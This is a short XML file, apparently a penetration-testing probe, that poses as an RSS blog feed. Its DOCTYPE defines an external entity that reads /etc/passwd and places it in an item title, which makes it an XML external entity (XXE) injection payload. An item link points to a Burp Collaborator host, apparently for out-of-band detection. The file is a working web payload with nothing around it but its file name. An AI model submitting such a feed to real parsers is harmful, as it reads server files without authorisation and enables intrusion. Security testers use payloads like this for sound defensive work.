test.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, </lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://cm2f0h2c5c8cwhpgzteyk01j0a61uq.burpcollaborator.net</link>
        <description>a post</description>
        <author>test@google.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>